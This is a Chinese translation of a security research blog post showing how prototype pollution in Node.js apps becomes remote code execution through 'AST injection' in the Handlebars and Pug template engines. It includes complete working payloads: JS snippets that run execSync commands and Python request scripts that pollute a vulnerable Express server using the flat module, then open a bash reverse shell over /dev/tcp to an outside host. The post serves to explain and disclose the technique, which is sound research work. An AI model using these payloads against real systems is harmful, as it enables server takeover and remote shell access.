原文 https://blog.p6.is/AST-Injection/
AST 注入, 从原型污染到RCE
本文介绍如何使用一种称为 AST 注入的新技术在两个著名的模板引擎中RCE 。
AST 注入
NodeJS中的AST
在NodeJS中,AST经常被在JS中使用,作为template engines (引擎模版)和typescript等。对于引擎模版,结构如上图所示⬆️。
如果在JS应用中存在原型污染漏洞,任何 AST 都可以通过在Parser(解析器)
或Compiler(编译器)
过程中插入到函数中。
在这里,你可以在没有过滤、没有经过lexer(分析器)
或parser(解析器)
验证的输入(没有被适当的过滤)的情况下插入AST。
然后我们可以向Parser(编译器)
非预期的输入。
下面就是展示如何实际中在handlebars
和pug
使用AST注入执行任意命令
Handlebars
截止到编辑文章之时,handlebars
的总下载量为998,602,213
次。
handlebars
是除 ejs 之外最常用的template engine(模板引擎)
。
如何探测
const Handlebars = require('handlebars');
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"})); // Hello posix
在开始之前,这是如何在handlebars
使用模板的方法。
Handlebar.compile
函数将字符串转换为模板函数并传递对象因子以供调用。
const Handlebars = require('handlebars');
Object.prototype.pendingContent = `<script>alert(origin)</script>`
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"})); // <script>alert(origin)</script>Hello posix
在这里,我们可以使用原型污染来影响编译过程。
你可以插入任意字符串payload
到Object.prototype.pendingContent
中决定你想要的攻击。
当原型污染存在于黑盒环境中时,这使你可以确认服务器正在使用handlebars
引擎。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
...
appendContent: function appendContent(content) {
if (this.pendingContent) {
content = this.pendingContent + content;
} else {
this.pendingLocation = this.source.currentLocation;
}
this.pendingContent = content;
},
pushSource: function pushSource(source) {
if (this.pendingContent) {
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
this.pendingContent = undefined;
}
if (source) {
this.source.push(source);
}
}
...
这是由 javascript-compiler.js
的 appendContent
函数完成(appendContent
is this?)。如果存在 pendingContent
,则附加到内容并返回。
pushSource
使 pendingContent
的值为 undefined
,防止字符串被多次插入。
Exploit
handlebars
的工作原理如上图所示。
在经过lexer(分析器)
和parser(解析器)
生成AST
之后,它传递给 compiler.js
这样我们就可以运行带有一些参数的模板函数编译器(template function compiler generated)。
它就会返回像“Hello posix”这样的字符串(当 msg 是 posix 时)。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
case 36:
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;
handlebars
中的parser(解析器)通过Number
构造函数强制类型为 NumberLiteral
的节点的值始终为数字。
然而,在这里你可以使用原型污染去插入一个非数字型的字符串。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') {
return input;
}
_parser2['default'].yy = yy;
// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};
var ast = _parser2['default'].parse(input);
return ast;
}
function parse(input, options) {
var ast = parseWithoutProcessing(input, options);
var strip = new _whitespaceControl2['default'](options);
return strip.accept(ast);
}
首先来看编译函数,它支持两种输入方式,AST 对象
和模板字符串
。
当 input.type
是Program
时,虽然输入值实际上是字符串。Parser
认为它是已经被parser.js
解析过的AST
了,然后将其发送给而compiler
不做任何处理。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
...
accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}
this.sourceNode.unshift(node);
var ret = this[node.type](node);
this.sourceNode.shift();
return ret;
},
Program: function Program(program) {
console.log((new Error).stack)
this.options.blockParams.unshift(program.blockParams);
var body = program.body,
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]);
}
this.options.blockParams.shift();
this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;
return this;
}
...
compiler
接收到 AST 对象(AST Object)
(实际上是一个字符串)并将其传到 accept
方法。
accept
方法调用Compiler
的 this[node.type]
。
然后获取 AST
的 body
属性并将其用于构造函数。
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];
const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());
/*
function (container, depth0, helpers, partials, data) {
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
"name": "undefined",
"hash": {},
"data": data,
"loc": {
"start": 0,
"end": 0
}
})) != null ? stack1 : "");
}
*/
所以,你可以构造一个像这样的攻击。
如果您已经通过parser
,请指定一个无法分配给 NumberLiteral
值的字符串。
但是注入 AST 之后,我们可以将任何代码插入到函数中。
Example
const express = require('express');
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const Handlebars = require('handlebars');
const app = express();
app.use(bodyParser.json())
app.get('/', function (req, res) {
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
res.end(template({}));
});
app.post('/vulnerable', function (req, res) {
let object = unflatten(req.body);
res.json(object);
});
app.listen(3000);
使用具有原型污染漏洞的flat
模块配置一个有漏洞的服务器示例。
flat
是一个受欢迎的模块,每周有 461 万次下载
import requestsTARGET_URL = 'http://p6.is:3000'# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = { "__proto__.type": "Program", "__proto__.body": [{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral", "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)" }], "loc": { "start": 0, "end": 0 } }]})# executerequests.get(TARGET_URL)
在获取反弹的shell之后,我们可以执行任意系统命令!
pug
截至文章编辑之时,pug
的总下载量为 65,827,719
次。
pug
是一个先前以jade
名称开发并重命名的模块。 据统计,它是 nodejs
中第四大最受欢迎的模板引擎
如何探测
const pug = require('pug');const source = `h1= msg`;var fn = pug.compile(source);var html = fn({msg: 'It works'});console.log(html); // <h1>It works</h1>
在 pug
中使用模板的常见方法如上所示。
pug.compile
函数将字符串转换为模板函数并传递对象以供调用。
const pug = require('pug');Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};const source = `h1= msg`;var fn = pug.compile(source, {});var html = fn({msg: 'It works'});console.log(html); // <h1>It works<script>alert(origin)</script></h1>
这是一种利用原型污染在黑盒环境下探测使用pug
模板引擎的方法。
当你将 AST
插入Object.prototype.block
时,compiler(编译器)通过引用 val
将其添加到缓冲区中。
switch (ast.type) { case 'NamedBlock': case 'Block': ast.nodes = walkAndMergeNodes(ast.nodes); break; case 'Case': case 'Filter': case 'Mixin': case 'Tag': case 'InterpolatedTag': case 'When': case 'Code': case 'While': if (ast.block) { ast.block = walkAST(ast.block, before, after, options); } break; ...
当ast.type
为While
时,ast.block
调用walkASK
(如果值不存在,则引用prototype
) 如果模板引用参数中的任何值,则While
节点始终存在,因此可靠性被认为是相当高的。
事实上,如果开发人员不会从模板中的参数中引用任何值 。
因为他们一开始并不会使用任何模板引擎。
Exploit
pug
工作原理如上图所示。
与handlebars
不同的是,每个过程都被分成一个单独的模块。
pug-parser
生成的 AST
被传递给 pug-code-gen
并制成一个函数。最后,它将被执行。
<!-- /node_modules/pug-code-gen/index.js -->if (debug && node.debug !== false && node.type !== 'Block') { if (node.line) { var js = ';pug_debug_line = ' + node.line; if (node.filename) js += ';pug_debug_filename = ' + stringify(node.filename); this.buf.push(js + ';'); }}
在 pug
的compiler(编译器)中,有一个变量存放着名为 pug_debug_line
的行号,用于调试。
如果 node.line
值存在,则将其添加到缓冲区,否则传递。
对于使用 pug-parser
生成的 AST
,node.line
值始终指定为整数。
但是,我们可以通过 AST注入
在 node.line
中插入一个非整型的字符串并导致任意代码执行。
const pug = require('pug');Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};const source = `h1= msg`;var fn = pug.compile(source, {});console.log(fn.toString());/*function template(locals) { var pug_html = "", pug_mixins = {}, pug_interp; var pug_debug_filename, pug_debug_line; try {; var locals_for_with = (locals || {}); (function (console, msg, process) {; pug_debug_line = 1; pug_html = pug_html + "\u003Ch1\u003E";; pug_debug_line = 1; pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));; pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString()); pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E"; }.call(this, "console" in locals_for_with ? locals_for_with.console : typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ? locals_for_with.msg : typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ? locals_for_with.process : typeof process !== 'undefined' ? process : undefined));; } catch (err) { pug.rethrow(err, pug_debug_filename, pug_debug_line); }; return pug_html;}*/
生成函数的示例。
你可以看到 Object.prototype.line
值插入在 pug_debug_line
定义的右侧。
const pug = require('pug');Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};const source = `h1= msg`;var fn = pug.compile(source);var html = fn({msg: 'It works'});console.log(html); // "uid=0(root) gid=0(root) groups=0(root)\n\n<h1>It worksndefine</h1>"
所以,你可以构造一个像这样的攻击。
通过在 node.line
值中指定一个字符串,它总是通过解析器定义为数字。
所以,任何命令都可以插入到函数中。
Example
const express = require('express');const { unflatten } = require('flat');const pug = require('pug');const app = express();app.use(require('body-parser').json())app.get('/', function (req, res) { const template = pug.compile(`h1= msg`); res.end(template({msg: 'It works'}));});app.post('/vulnerable', function (req, res) { let object = unflatten(req.body); res.json(object);}); app.listen(3000);
在handlebars
的例子中,flat
用于配置服务器。 模板引擎已改为 pug
import requestsTARGET_URL = 'http://p6.is:3000'# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = { "__proto__.block": { "type": "Text", "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)" }})# executerequests.get(TARGET_URL)
我们可以在 block.line
中插入任何代码,并获得一个 反弹shell。
结论
我描述了如何执行任意命令, 通过JS 模板引擎
上的AST 注入
。
事实上,这些部分很难完全修复 所以我希望这会像EJS
一样。